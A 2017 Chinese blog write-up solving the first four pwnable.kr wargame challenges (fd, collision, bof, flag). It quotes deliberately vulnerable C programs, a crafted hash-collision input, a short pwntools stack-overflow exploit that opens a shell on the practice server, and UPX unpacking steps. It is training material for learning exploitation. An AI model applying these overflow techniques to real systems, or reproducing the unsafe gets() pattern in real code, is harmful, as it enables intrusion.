pwnable.kr (一) 1-4

0x01   fd

 

fd.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}

反汇编fd

main

Linux C read()

定义函数

ssize_t read[1]  (int fd, void *buf, size_t count);

返回值

成功返回读取的字节数,出错返回-1并设置errno,如果在调read之前已到达文件末尾,则这次read返回0

根据题目判断条件:

 

 

 

0x02   collision

col.c:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

反汇编

main:

1.strlen(argv[1]) != 20

限制输入字符为204个一组分为5

2.hashcode == check_password( argv[1] )

check_password:对数组进行累加之和与0x21DD09EC进行对比

首先想到'\x00'*16+'\xec\x09\xdd\x21',但是\x09表示在ascii表中代表tab会被阻断

改进: '\x01'*16+'\xe8\x05\xd9\x1d'

在命令行传参数:`python -c "print '\x01' * 16 + '\xe8\x05\xd9\x1d'"`

 

 

 

 

0x03 bof

bof.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

 

反编译:

main

func:

stack of func

从源代码或是stack of func可以轻易看出覆盖溢出所需的字符为52

这里小题大作使用gdb看看,上上手:

调用func()函数:

 

 

 

 exp

from pwn import *
context=log_level='debug'
p = remote('pwnable.kr',9000)
#p = process('./bof')本地调试
#p.recvuntil("overflow me : \n")本地和nc有点区别。。。
payload = 'a'*52+p32(0xcafebabe);    #'\xbe\xba\xfe\xca'
p.sendline(payload)
p.interactive()

 

 

 

 

 

 0x04 flag

 

从题目的意思上看Papa给我带来了一个包装的礼物!让我们打看它吧。估计是加了壳。

二进制常见加壳工具:

upx下载地址 :

https://github.com/upx/upx/releases/tag/v3.94

UPX使用方法:

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:

  -1     compress faster 快速压缩               -9    compress better 压缩更好

  -d     decompress   解压缩               -l    list compressed file 表压缩文件

  -t     test compressed file 测试压缩文件         -V    display version number

  -h     give more help                 -L    display software license

Options:

  -q     be quiet                          -v    be verbose 是冗长的

  -oFILE write output to 'FILE' -oFILE输出写入'FILE'

  -f     force compression of suspicious files 对可疑文件的强制压缩

  -k     keep backup files 保存备份文件

file..   executables to (de)compress

 

进行脱壳:

脱壳后的main函数:

 

很明显了

但是当我点击sub_400320后,出来就成这样了GG

使用shift+f12查看字符串

 

posted @ 2017-08-09 00:27  1ey  阅读(223)  评论(0)    收藏  举报